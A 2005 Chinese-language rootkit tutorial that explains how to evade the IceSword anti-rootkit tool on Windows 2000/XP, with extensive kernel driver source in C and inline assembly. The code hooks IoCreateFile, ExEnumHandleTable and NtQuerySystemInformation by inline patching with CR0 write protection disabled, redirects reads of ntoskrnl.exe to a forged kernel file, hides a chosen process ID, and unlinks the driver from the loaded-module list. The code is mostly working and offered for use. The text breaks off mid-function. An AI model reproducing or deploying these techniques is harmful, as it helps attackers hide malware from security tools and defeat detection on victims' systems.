創(chuàng)建時間:2005-12-20 文章屬性:原創(chuàng) 文章提交:backspray (nimaozhi_at_163.com) 作者:倪茂志 郵件:backspray008@gmail.com 完成于:2005.12.20 文章分為八個部分: 一、為什么需要偽造內(nèi)核 二、偽造內(nèi)核文件 三、隱藏進程 四、隱藏內(nèi)核模塊 五、隱藏服務(wù) 六、隱藏注冊表 七、隱藏文件 八、關(guān)于端口 另:建議先看看最后那些參考文章。 一、為什么需要偽造內(nèi)核: IceSword(以下簡稱IS)為了防止一些關(guān)鍵系統(tǒng)函數(shù)(包括所有服務(wù)中斷表中的函數(shù)以及IS驅(qū)動部分要使用到的一些關(guān)鍵函數(shù))被patch,它直接讀取內(nèi)核文件(以下簡稱“ntoskrnl.exe”),然后自己分析ntoskrnl.exe的PE結(jié)構(gòu)來獲取關(guān)鍵系統(tǒng)函數(shù)的原始代碼并且把當前內(nèi)核中所有的關(guān)鍵系統(tǒng)函數(shù)還原為windows默認狀態(tài),這樣保證了IS使用到的函數(shù)不被patch過。也許你會想如果我們把還原后的函數(shù)再進行patch不還是能躲的過去嗎?筆者也試過,還專門寫了ring0的Timer來不停的patch自己想hook的函數(shù)。結(jié)果IS棋高一籌,在對所有的關(guān)鍵系統(tǒng)函數(shù)進行還原以后,IS每次調(diào)用這些函數(shù)前都會先把這些函數(shù)還原一次。這樣還是能保證IS自己使用到的關(guān)鍵系統(tǒng)函數(shù)不被patch。也許你還會想縮小Timer的時間間隔,以致于IS對這些函數(shù)進行還原后,這些函數(shù)馬上又被我們patch,這樣IS再調(diào)用這些函數(shù)時不還是執(zhí)行了我們patch過的函數(shù)。這種想法粗略看起來可以,但你仔細一想就知道是不行的。 治病還是得治本,也許你想過不如直接修改ntoskrnl.exe文件內(nèi)容,使得IS一開始讀入的就已經(jīng)是我們patch過得函數(shù)內(nèi)容,這樣不就躲過去了。這種想法有兩個很大的副作用: 1、在通常的默認情況下,windows的系統(tǒng)文件保護是打開的,要停止這種系統(tǒng)文件保護要付出很大的代價,有可能需要重啟。 2、就算你停止了系統(tǒng)文件保護,也成功修改了ntoskrnl.exe,但是你不能保證系統(tǒng)每次都能正常關(guān)機 假如系統(tǒng)非法關(guān)機重啟,由于你還來未對ntoskrnl.exe進行還原,此時會發(fā)生什么情況我也就不多說了。 而偽造內(nèi)核文件就很好的避免了上面談的兩大副作用。主要處理下面三個點: 1、截獲并修改IS打開ntoskrnl.exe消息,使它指向我要偽造的內(nèi)核文件(假設(shè)為“otoskrnl.exe”) 2、在內(nèi)核文件中定位我們要修改的數(shù)據(jù)。 3、隱藏我們偽造的“otoskrnl.exe”,這點請看本文的第七部分。 二、 偽造內(nèi)核文件: 先說一下本文hook函數(shù)的方式: 1、取該函數(shù)起始地址的前六個字節(jié)內(nèi)容保留在unsigned char resume[6]中。 2、把構(gòu)造的兩條指令push xxxxxxxx(我們自己構(gòu)造的函數(shù)地址) ret 保留到unsigned char crackcode[6](這兩條指令剛好六個字節(jié))中。 3、把該函數(shù)起始址的6個字節(jié)替換成crackcode[6]的內(nèi)容。這樣系統(tǒng)調(diào)用該函數(shù)時就會先跳到xxxxxxxx地址去執(zhí)行我們構(gòu)造的函數(shù)。 而我們構(gòu)造的xxxxxxxx函數(shù)的主要結(jié)構(gòu)如下: 1、把我們hook的那個函數(shù)起始的前6個字節(jié)用resume[6]內(nèi)容進行還原。 2、對傳遞的程序參數(shù)進行處理等。 3、調(diào)用被還原后的函數(shù)。 4、此時可以處理函數(shù)返回后的數(shù)據(jù)等。 5、把還原后的那個函數(shù)的起始地址前6個字節(jié)再用crackcode[6]內(nèi)容進行替換。 6、返回。 IS是通過IoCreateFile函數(shù)來打開ntoskrnl.exe,因此我們只要hook這個函數(shù),并檢查其打開的文件名,如果是打開ntoskrnl.exe的話,我們把文件名替換成otoskrnl.exe再扔回去就OK了。這樣所有針對于ntoskrnl.exe文件的操作都會指向otoskrnl.exe, 當然前提是你在進入驅(qū)動前記得先把ntoskrnl.exe在原目錄下復(fù)制一份并命名為otoskrnl.exe。 關(guān)于我們要修改的數(shù)據(jù)在ntoskrnl.exe中偏移的算法也很簡單,這里給出公式如下: 函數(shù)在中文件偏移=當前函數(shù)在內(nèi)存中的地址 - 當前函數(shù)所在驅(qū)動模塊的起始地址 舉個例子來說,假設(shè)IoCreateFile在內(nèi)核中的內(nèi)存地址是0x8056d1234,由于它是在內(nèi)存中ntoskrnl.exe模塊中,假設(shè)ntoskrnl.exe起始地址是0x8045d000。那么IoCreateFile在磁盤上的ntoskrnl.exe文件中的偏移就是0x8056d123-0x8045d000=0x110123了。 再進行詳細點說明:假設(shè)你對IoCreateFile函數(shù)進行了patch,使得該函數(shù)起始地址的6前六節(jié)的數(shù)據(jù)XXXXXX變成了YYYYYY。那么你只要打開otoskrnl.exe,把文件偏移調(diào)整到上面所說的0x110123處,在寫入6個字節(jié)的數(shù)據(jù)YYYYYY。那么當IS打開otoskrnl.exe的話,讀出的數(shù)據(jù)就是YYYYYY了! 下面的代碼實現(xiàn)兩個功能,一個功能就是hook了IoCreateFile函數(shù),使的所有指向ntoskrnl.exe的操作都指向otoskrnl.exe。另外一個功能就是進行偽造內(nèi)核(函數(shù)RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset參數(shù)內(nèi)容就是我們要hook的函數(shù)在內(nèi)存中的地址。RepairDataPtr是指向字符crackcode[6]第一個字節(jié)的指針。主要功能就是先把要hook的函數(shù)地址在otoskrnl.exe文件中進行定位,然后再把crackcode[6]內(nèi)容寫進去。 #include "ntddk.h" #include "stdarg.h" #include "stdio.h" #include "ntiologc.h" #include "string.h" #define DWORD unsigned long #define WORD unsigned short #define BOOL unsigned long PCWSTR NTOSKRNL=L"ntoskrnl.exe" unsigned char ResumCodeIoCreateFile[6]; unsigned char CrackCodeIoCreateFile[6]; typedef NTSTATUS ( *IOCREATEFILE )( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER AllocationSize OPTIONAL, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG Disposition, IN ULONG CreateOptions, IN PVOID EaBuffer OPTIONAL, IN ULONG EaLength, IN CREATE_FILE_TYPE CreateFileType, IN PVOID ExtraCreateParameters OPTIONAL, IN ULONG Options ); IOCREATEFILE OldIoCreateFile; DWORD GetFunctionAddr( IN PCWSTR FunctionName) { UNICODE_STRING UniCodeFunctionName; RtlInitUnicodeString( &UniCodeFunctionName, FunctionName ); return (DWORD)MmGetSystemRoutineAddress( &UniCodeFunctionName ); } NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr) { NTSTATUS Status; HANDLE FileHandle; OBJECT_ATTRIBUTES FObject; IO_STATUS_BLOCK IOSB; UNICODE_STRING FileName; LARGE_INTEGER NtosFileOffset; RtlInitUnicodeString ( &FileName, L"\\SystemRoot\\system32\\otoskrnl.exe" ); InitializeObjectAttributes ( &FObject, &FileName, OBJ_KERNEL_HANDLE, NULL, NULL); Status = ZwCreateFile( &FileHandle, FILE_WRITE_DATA+FILE_WRITE_ATTRIBUTES+FILE_WRITE_EA, &FObject, &IOSB, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, 0 ); if ( Status != STATUS_SUCCESS ) { return Status; } //下面計算出函數(shù)在otoskrnl.exe中的偏移,NtoskrnlBase就是 //Ntoskrnl.exe在內(nèi)存中的起始地址,在第四部分隱藏內(nèi)核模塊 //時會提到它的獲取方法。 NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase; Status = ZwWriteFile( FileHandle, NULL, NULL, NULL, &IOSB, (unsigned char *)RepairDataPtr, 0x6, &NtosFileOffset, NULL); if ( Status != STATUS_SUCCESS ) { return Status; } Status = ZwClose( FileHandle ); if ( Status != STATUS_SUCCESS ) { return Status; } return STATUS_SUCCESS; } NTSTATUS NewIoCreateFile ( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER AllocationSize OPTIONAL, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG Disposition, IN ULONG CreateOptions, IN PVOID EaBuffer OPTIONAL, IN ULONG EaLength, IN CREATE_FILE_TYPE CreateFileType, IN PVOID ExtraCreateParameters OPTIONAL, IN ULONG Options ) { NTSTATUS Status; PCWSTR IsNtoskrnl = NULL; PCWSTR FileNameaddr=NULL; _asm //對IoCreateFile函數(shù)進行還原 { pushad mov edi, OldIoCreateFile mov eax, dword ptr ResumCodeIoCreateFile[0] mov [edi], eax mov ax, word ptr ResumCodeIoCreateFile[4] mov [edi+4], ax popad } _asm //獲取要打開的文件名地址 { pushad mov edi, ObjectAttributes mov eax, [edi+8] mov edi, [eax+4] mov FileNameaddr, edi popad } IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判斷是否時打開ntoskrnl.exe if ( IsNtoskrnl != NULL ) { _asm //是的話,則把ntoskrnl.exe替換成otoskrnl.exe { pushad mov edi, IsNtoskrnl mov [edi], 0x006F popad } } Status = OldIoCreateFile ( FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, AllocationSize OPTIONAL, FileAttributes, ShareAccess, Disposition, CreateOptions, EaBuffer OPTIONAL, EaLength, CreateFileType, ExtraCreateParameters OPTIONAL, Options ); _asm //把還原后的代碼又替換成我們偽造的代碼 { pushad mov edi, OldIoCreateFile mov eax, dword ptr CrackCodeIoCreateFile[0] mov [edi], eax mov ax, word ptr CrackCodeIoCreateFile[4] mov [edi+4], ax popad } return Status; } NTSTATUS PatchIoCreateFile() { NTSTATUS Status; OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr(L"IoCreateFile"); if ( OldIoCreateFile == NULL ) { DbgPrint("Get IoCreateFile Addr Error!!"); return STATUS_DEVICE_CONFIGURATION_ERROR; } _asm //關(guān)中斷 { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } _asm { pushad //獲取 IoCreateFile 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié) mov edi, OldIoCreateFile mov eax, [edi] mov dword ptr ResumCodeIoCreateFile[0], eax mov ax, [edi+4] mov word ptr ResumCodeIoCreateFile[4], ax //構(gòu)造要替換的代碼,使得系統(tǒng)調(diào)用函數(shù)時跳到我們構(gòu)造的NewIoCreateFile去執(zhí)行 mov byte ptr CrackCodeIoCreateFile[0], 0x68 lea edi, NewIoCreateFile mov dword ptr CrackCodeIoCreateFile[1], edi mov byte ptr CrackCodeIoCreateFile[5], 0xC3 //把構(gòu)造好的代碼進心替換 mov edi, OldIoCreateFile mov eax, dword ptr CrackCodeIoCreateFile[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeIoCreateFile[4] mov word ptr[edi+4], ax popad } _asm //開中斷 { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } Status = RepairNtosFile( (DWORD)OldIoCreateFile, (DWORD)(&CrackCodeIoCreateFile)); return Status; } 上面給出的代碼中,有些是公共使用的部分,如:GetFunctionAddr()(用來獲取函數(shù)地址)以及RepairNtosFile()(功能上文已經(jīng)介紹)函數(shù)。為節(jié)省版面,在下面的代碼中將直接對其進行引用,而不再貼出它們的代碼。下面的代碼將不會再include頭文件。而是直接定義自己所使用到的變量。其中include的投文件與上面的代碼相同,另外本文中所有的例子都沒有給出Unloaded例程(浪費版面),自己看著寫了另外,本文貼出的所有代碼,除了第六部分代碼只在XP下測試通過,其他代碼均再2K及XP下測試并通過。筆者在寫這些代碼時雖然兼顧到了2K3,但是筆者并沒有在2K3中測試過這些代碼。這些代碼中夾雜了一些匯編指令。這些匯編指令產(chǎn)生主要有兩種原因:一是當時的我認為某些東西用匯編指令來表示非常直觀,如還原與替換函數(shù)代碼那個部分。二是在分析一些數(shù)據(jù)時,由于眼前面對的是純16進制的數(shù)據(jù),于是也沒多想咔咔就用匯編寫了一個循環(huán)下來。如果給你閱讀代碼造成了不便,筆者在這表示歉意。 三、 隱藏進程 對付IS枚舉進程ID的思路是這樣的,hook系統(tǒng)函數(shù)ExEnumHandleTable,使它先運行我們指定的函數(shù)NewExEnumHandleTable,在NewExEnumHandleTable函數(shù)中,我們先獲取它的回調(diào)函數(shù)參數(shù)Callback所指向的函數(shù)地址,把它所指向的函數(shù)地址先放到OldCallback中,然后用我們構(gòu)造的新的回調(diào)函數(shù)FilterCallback去替換掉原來的Callback。這樣該函數(shù)在執(zhí)行回調(diào)函數(shù)時就會先調(diào)用我們給它的FilterCallback回調(diào)函數(shù)。在我們設(shè)計的FilterCallback中,判斷當前進程ID是否時我們要隱藏的進程ID,不是的話則把參數(shù)傳給OldCallback去執(zhí)行,如果是的話則直接return。這樣就起到隱藏進程的作用。 以上是對付IS的,對于應(yīng)付windows進程管理的方法,與sinister使用的方法大體相同,不過有些不同。sinister是通過比較進程名來確定自己要隱藏的進程。這種方法對于隱藏要啟動兩個和兩個以上相同名字的進程比較可取,但問題是如果你只是要隱藏一個進程的話。那么這個方法就顯得不完美了。完全可以通過直接比較進程ID來確定自己要隱藏的進程。建議不到不得以的時候盡量不要使用比較文件名的方法,太影響效率。 下面的代碼中,GetProcessID()函數(shù)是用來從注冊表中讀取要隱藏的進程ID,當然首先你要在注冊表設(shè)置這個值。用注冊表還是很方便的。 PatchExEnumHandleTable()函數(shù)是通過hook系統(tǒng)函數(shù)ExEnumHandleTable函數(shù)實現(xiàn)在IS中隱藏目標進程,PatchNtQuerySystemInformation ()函數(shù)是通過hook系統(tǒng)函數(shù)NtQuerySystemInformation并通過比較進程ID的方法實現(xiàn)隱藏進程。 HANDLE ProtectID; unsigned char ResumCodeExEnumHandleTable[6]; unsigned char CrackCodeExEnumHandleTable[6]; unsigned char ResumCodeNtQuerySystemInformation[6]; unsigned char CrackCodeNtQuerySystemInformation[6]; typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)( IN ULONG SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation; typedef VOID (*EXENUMHANDLETABLE) ( PULONG HandleTable, PVOID Callback, PVOID Param, PHANDLE Handle OPTIONAL ); EXENUMHANDLETABLE OldExEnumHandleTable; typedef BOOL (*EXENUMHANDLETABLECALLBACK) ( DWORD HANDLE_TALBE_ENTRY, DWORD PID, PVOID Param ); EXENUMHANDLETABLECALLBACK OldCallback; NTSTATUS GetProcessID ( IN PUNICODE_STRING theRegistryPath ) { OBJECT_ATTRIBUTES ObjectAttributes; NTSTATUS Status; HANDLE KeyHandle; PHANDLE Phandle; PKEY_VALUE_PARTIAL_INFORMATION valueInfoP; ULONG valueInfoLength,returnLength; UNICODE_STRING UnicodeProcIDreg; InitializeObjectAttributes ( &ObjectAttributes, theRegistryPath, OBJ_CASE_INSENSITIVE, NULL, NULL ); Status = ZwOpenKey ( &KeyHandle, KEY_ALL_ACCESS, &ObjectAttributes ); if (Status != STATUS_SUCCESS) { DbgPrint("ZwOpenKey Wrong\n"); return STATUS_DEVICE_CONFIGURATION_ERROR; } RtlInitUnicodeString ( &UnicodeProcIDreg, L"ProcessID" ); valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION); valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool ( NonPagedPool, valueInfoLength ); Status = ZwQueryValueKey ( KeyHandle, &UnicodeProcIDreg, KeyValuePartialInformation, valueInfoP, valueInfoLength, &returnLength ); if (Status != STATUS_SUCCESS) { DbgPrint("ZwOpenKey Wrong\n"); return STATUS_DEVICE_CONFIGURATION_ERROR; } Phandle = (PHANDLE)(valueInfoP->Data); ProtectID = *Phandle; ZwClose(KeyHandle); return STATUS_SUCCESS; } BOOL FilterCallback ( DWORD HANDLE_TALBE_ENTRY, DWORD PID, PVOID Param ) { if ( PID != (DWORD)ProtectID) //判斷是否是我們要隱藏的進程 { return OldCallback ( HANDLE_TALBE_ENTRY, PID, Param ); } else { return FALSE; //是的話直接返回 } } BOOL FilterCallback ( DWORD HANDLE_TALBE_ENTRY, DWORD PID, PVOID Param ) { if ( PID != (DWORD)ProtectID) //判斷是否是我們要隱藏的進程 { return OldCallback ( HANDLE_TALBE_ENTRY, PID, Param ); } else { return FALSE; //是的話直接返回 } } VOID NewExEnumHandleTable( PULONG HandleTable, PVOID Callback, PVOID Param, PHANDLE Handle OPTIONAL ) { OldCallback = Callback; //把Callback參數(shù)給OldCallback進行保留 Callback = FilterCallback; //用FilterCallback替換調(diào)原來的Callback _asm //還原 { pushad mov edi, OldExEnumHandleTable mov eax, dword ptr ResumCodeExEnumHandleTable[0] mov [edi], eax mov ax, word ptr ResumCodeExEnumHandleTable[4] mov [edi+4], ax popad } OldExEnumHandleTable ( HandleTable, Callback, Param, Handle OPTIONAL ); _asm //替換 { pushad mov edi, OldExEnumHandleTable mov eax, dword ptr CrackCodeExEnumHandleTable[0] mov [edi], eax mov ax, word ptr CrackCodeExEnumHandleTable[4] mov [edi+4], ax popad } return ; } NTSTATUS PatchExEnumHandleTable() { NTSTATUS Status; OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable"); if ( OldExEnumHandleTable == NULL ) { DbgPrint("Get ExEnumHandleTable Addr Error!!"); return STATUS_DEVICE_CONFIGURATION_ERROR; } _asm //關(guān)中斷 { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } _asm { pushad //獲取ExEnumHandleTable函數(shù)的地址并保留該函數(shù)的起始六個字節(jié) mov edi, OldExEnumHandleTable mov eax, [edi] mov dword ptr ResumCodeExEnumHandleTable[0], eax mov ax, [edi+4] mov word ptr ResumCodeExEnumHandleTable[4], ax //構(gòu)造要替換的代碼,使得系統(tǒng)調(diào)用該函數(shù)時跳到我們構(gòu)造的NewExEnumHandleTable去執(zhí)行 mov byte ptr CrackCodeExEnumHandleTable[0], 0x68 lea edi, NewExEnumHandleTable mov dword ptr CrackCodeExEnumHandleTable[1], edi mov byte ptr CrackCodeExEnumHandleTable[5], 0xC3 //把構(gòu)造好的代碼進心替換 mov edi, OldExEnumHandleTable mov eax, dword ptr CrackCodeExEnumHandleTable[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeExEnumHandleTable[4] mov word ptr[edi+4], ax popad } _asm //開中斷 { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } Status = RepairNtosFile( (DWORD)OldExEnumHandleTable, (DWORD)(&CrackCodeExEnumHandleTable) ); return Status; } NTSTATUS NewNtQuerySystemInformation( IN ULONG SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ) { NTSTATUS Status; DWORD Bprocess; _asm { pushad mov edi, OldNtQuerySystemInformation mov eax, dword ptr ResumCodeNtQuerySystemInformation[0] mov [edi], eax mov ax, word ptr ResumCodeNtQuerySystemInformation[4] mov [edi+4], ax popad } Status=OldNtQuerySystemInformation ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength OPTIONAL ); _asm { pushad mov edi, OldNtQuerySystemInformation mov eax, dword ptr CrackCodeNtQuerySystemInformation[0] mov [edi], eax mov ax, word ptr CrackCodeNtQuerySystemInformation[4] mov [edi+4], ax popad } if ( Status != STATUS_SUCCESS || SystemInformationClass!=5 ) { return Status; } _asm { pushad mov ecx, ProtectID mov edi, SystemInformation ProcessListNEnd: mov Bprocess, edi mov eax, [edi] test eax, eax jz ProcessListEnd add edi, eax mov eax, [edi+0x44] cmp eax, ecx jz FindOut jmp ProcessListNEnd FindOut: mov ebx, [edi] test ebx, ebx jz listend mov eax, Bprocess mov edx, [eax] add ebx, edx mov [eax], ebx jmp hideOK listend: mov eax, Bprocess mov [eax], 0 hideOK: ProcessListEnd: popad } return Status; } NTSTATUS PatchNtQuerySystemInformation () { NTSTATUS Status; OldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION) GetFunctionAddr(L"NtQuerySystemInformation"); if ( OldNtQuerySystemInformation == NULL ) { DbgPrint("Get NtQuerySystemInformation Addr Error!!"); return STATUS_DEVICE_CONFIGURATION_ERROR; } _asm //關(guān)中斷 { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } _asm { pushad //獲取 NtQuerySystemInformation 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié) mov edi, OldNtQuerySystemInformation mov eax, [edi] mov dword ptr ResumCodeNtQuerySystemInformation[0], eax mov ax, [edi+4] mov word ptr ResumCodeNtQuerySystemInformation[4], ax //構(gòu)造要替換的代碼,使得系統(tǒng)調(diào)用該函數(shù)時跳到我們構(gòu)造的NewNtQuerySystemInformation去執(zhí)行 mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68 lea edi, NewNtQuerySystemInformation mov dword ptr CrackCodeNtQuerySystemInformation[1], edi mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3 //把構(gòu)造好的代碼進心替換 mov edi, OldNtQuerySystemInformation mov eax, dword ptr CrackCodeNtQuerySystemInformation[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeNtQuerySystemInformation[4] mov word ptr[edi+4], ax popad } _asm //開中斷 { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } Status = RepairNtosFile( (DWORD)OldNtQuerySystemInformation, (DWORD)(&CrackCodeNtQuerySystemInformation) ); return Status; } 四、隱藏內(nèi)核模塊 對于內(nèi)核模塊,我原以為IS會通過獲取內(nèi)核變量PsLoadedModuleList,然后在通過這個來遍歷所有的內(nèi)核模塊。假設(shè)此時獲得結(jié)果1。通過調(diào)用函數(shù)NtQuerySystemInformation,參數(shù)SystemModuleInformation,假設(shè)此時獲得結(jié)果2。再把結(jié)果1與結(jié)果2進行比較,這樣就會發(fā)現(xiàn)被隱藏的模塊。但事實證明我想的太復(fù)雜了。而IS只進行了獲取結(jié)果2的過程。而沒有去執(zhí)行獲取結(jié)果1的過程。 下面的代碼可以在IS下隱藏自己的內(nèi)核模塊,主要思路是,首先獲取一個自己這個模塊中任意函數(shù)的地址,把該地址給DriverAddr,利用DriverAddr在上述的結(jié)果2中定位,通過DriverAddr肯定會大于自己這個模塊的起始地址并且小于自己這個模塊的結(jié)束地址來定位。 DWORD DriverAddr; unsigned char ResumCodeNtQuerySystemInformation[6]; unsigned char CrackCodeNtQuerySystemInformation[6]; typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)( IN ULONG SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation; NTSTATUS NewNtQuerySystemInformation( IN ULONG SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ) { NTSTATUS Status; _asm //還原 { pushad mov edi, OldNtQuerySystemInformation mov eax, dword ptr ResumCodeNtQuerySystemInformation[0] mov [edi], eax mov ax, word ptr ResumCodeNtQuerySystemInformation[4] mov [edi+4], ax popad } Status = ZwQuerySystemInformation ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength OPTIONAL ); _asm //替換 { pushad mov edi, OldNtQuerySystemInformation mov eax, dword ptr CrackCodeNtQuerySystemInformation[0] mov [edi], eax mov ax, word ptr CrackCodeNtQuerySystemInformation[4] mov [edi+4], ax popad } if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb ) //是否是獲取模塊信息 { return Status; } _asm { pushad mov edi, SystemInformation mov ecx, [edi] //eax=模塊數(shù)目 add edi, 0x4 NextModuleInfo: mov eax, [edi+0x8] mov edx, [edi+0xC] add edx, eax mov ebx, DriverAddr cmp ebx, eax ja FirstMatch dec ecx test ecx, ecx jz ArrayEnd add edi, 0x11c jmp NextModuleInfo FirstMatch: cmp ebx, edx jb SecMatch //找到的話則跳去把該模塊以后的模塊數(shù)據(jù)前移已覆蓋掉此模塊 dec ecx test ecx, ecx jz ArrayEnd add edi, 0x11c jmp NextModuleInfo SecMatch: dec ecx xor eax, eax mov ax, 0x11c mul cx xor ecx, ecx mov ecx, eax mov esi, edi add esi, 0x11c rep movsb mov edi, SystemInformation mov eax, [edi] dec eax mov [edi], eax //完成 ArrayEnd: popad } return Status; } NTSTATUS PatchNtQuerySystemInformation() { NTSTATUS Status; OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") ); if ( OldNtQuerySystemInformation == NULL ) { return STATUS_DEVICE_CONFIGURATION_ERROR; } _asm //關(guān)中斷 { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } _asm { pushad //獲取 NtQuerySystemInformation 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié) lea eax, NewNtQuerySystemInformation mov DriverAddr, eax //把NewNtQuerySystemInformation函數(shù)地址給DriverAddr mov edi, OldNtQuerySystemInformation mov eax, [edi] mov dword ptr ResumCodeNtQuerySystemInformation[0], eax mov ax, [edi+4] mov word ptr ResumCodeNtQuerySystemInformation[4], ax //構(gòu)造要替換的代碼,使得系統(tǒng)調(diào)用該函數(shù)時跳到我們構(gòu)造的NewNtQuerySystemInformation去執(zhí)行 mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68 lea edi, NewNtQuerySystemInformation mov dword ptr CrackCodeNtQuerySystemInformation[1], edi mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3 //把構(gòu)造好的代碼進行替換 mov edi, OldNtQuerySystemInformation mov eax, dword ptr CrackCodeNtQuerySystemInformation[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeNtQuerySystemInformation[4] mov word ptr[edi+4], ax popad } _asm //開中斷 { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI } Status = RepairNtosFile ( (DWORD)OldNtQuerySystemInformation, (DWORD)&CrackCodeNtQuerySystemInformation[0] ); return Status; } 你可能發(fā)現(xiàn)上面這段代碼hook的也是NtQuerySystemInformation函數(shù),而在隱藏進程中不是已經(jīng)hook了NtQuerySystemInformation函數(shù),這樣不是造成重合了。在實際操作中,你只要hook一次NtQuerySystemInformation函數(shù),然后在自己定義NewNtQuerySystemInformation中增加幾個選擇項就是了。我這樣寫是為了便于理解,使它們每個部分自成一體,如果按實際代碼搬出來的話,顯得太支離破碎(支離破碎的支到底是這個“支”還是這個“肢”??)了。 不知道pjf看到這里之后會不會想著給IS升級,增加IS檢測隱藏內(nèi)核模塊的功能,因此下面一并給出了如何在PsLoadedModuleList鏈表刪除自身的代碼,關(guān)于如何獲取PsLoadedModuleList這個內(nèi)核變量的地址我就不說了,不了解的請參看TK的《獲取Windows 系統(tǒng)的內(nèi)核變量》。PsLoadedModuleList所指向的是結(jié)構(gòu)是_MODULE_ENTRY,微軟沒有給出定義,但是uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的資源中給出了MODULE_ENTRY的結(jié)構(gòu)定義如下: typedef struct _MODULE_ENTRY { LIST_ENTRY le_mod; DWORD unknown[4]; DWORD base; DWORD driver_start; DWORD unk1; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; } MODULE_ENTRY, *PMODULE_ENTRY; 進一步分析后發(fā)現(xiàn)上述結(jié)構(gòu)中的unk1成員的值其實就是該模塊文件的大小.從新對該結(jié)構(gòu)定義如下: typedef struct _MODULE_ENTRY { LIST_ENTRY le_mod; DWORD unknown[4]; DWORD base; DWORD driver_start; DWORD Size; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; } MODULE_ENTRY, *PMODULE_ENTRY; PsLoadedModuleList指向的是一個帶表頭的雙向鏈表,該鏈表的表頭所指向的第一個MODULE_ENTRY的就是ntoskrnl.exe,此時它的base成員的值就是ntoskrnl.exe在內(nèi)存中的起始地址.這是就可以順手取一下NtoskrnlBase的值。 有一點要注意的是,如果DriverEntry()例程未返回STATUS_SUCCESS之前。系統(tǒng)不會把你加入到PsLoadedModuleList鏈表中,此時你在PsLoadedModuleList中是找不到自己的。當然為了這個而寫一個分發(fā)例程也行。我是在自己hook的那些系統(tǒng)函數(shù)中設(shè)了一個閥值,閥值初始值為“開”,這樣系統(tǒng)調(diào)用這個函數(shù)時都會先檢測閥值是否是“開”,是的話跑到PsLoadedModuleList找一下我們的模塊是否存在,存在的話說明DriverEntry()已經(jīng)返回成功,馬上把自己從PsLoadedModuleList鏈表中刪除,然后把閥值設(shè)成“關(guān)”,這樣系統(tǒng)下次調(diào)用這個函數(shù)時發(fā)現(xiàn)閥值是“關(guān)”的就不會傻乎乎的又跑到PsLoadedModuleList中去摟一遍了。 DWORD NtoskrnlBase=0; DWORD PsLoadedModuleListPtr=0; typedef struct _MODULE_ENTRY { LIST_ENTRY le_mod; DWORD unknown[4]; DWORD base; DWORD driver_start; DWORD Size; UNICODE_STRING driver_Path; UNICODE_STRING driver_Name; } MODULE_ENTRY, *PMODULE_ENTRY; NTSTATUS GetPsLoadedModuleListPtr() { UNICODE_STRING UStrName; DWORD KdEnableDebuggerAddr; DWORD InitSystem=0; DWORD KdDebuggerDataBlock=0; PMODULE_ENTRY NtosModPtr; unsigned char * DebuggerDataBlockPtr; unsigned char * Sysinit; int i,j; RtlInitUnicodeString ( &UStrName, L"KdEnableDebugger" ); KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName ); if ( !KdEnableDebuggerAddr ) { return STATUS_DEVICE_CONFIGURATION_ERROR; } for (i=0, Sysinit = (unsigned char * )KdEnableDebuggerAddr; i<0x50; i++, Sysinit++) { if ( (*Sysinit) == 0xc6 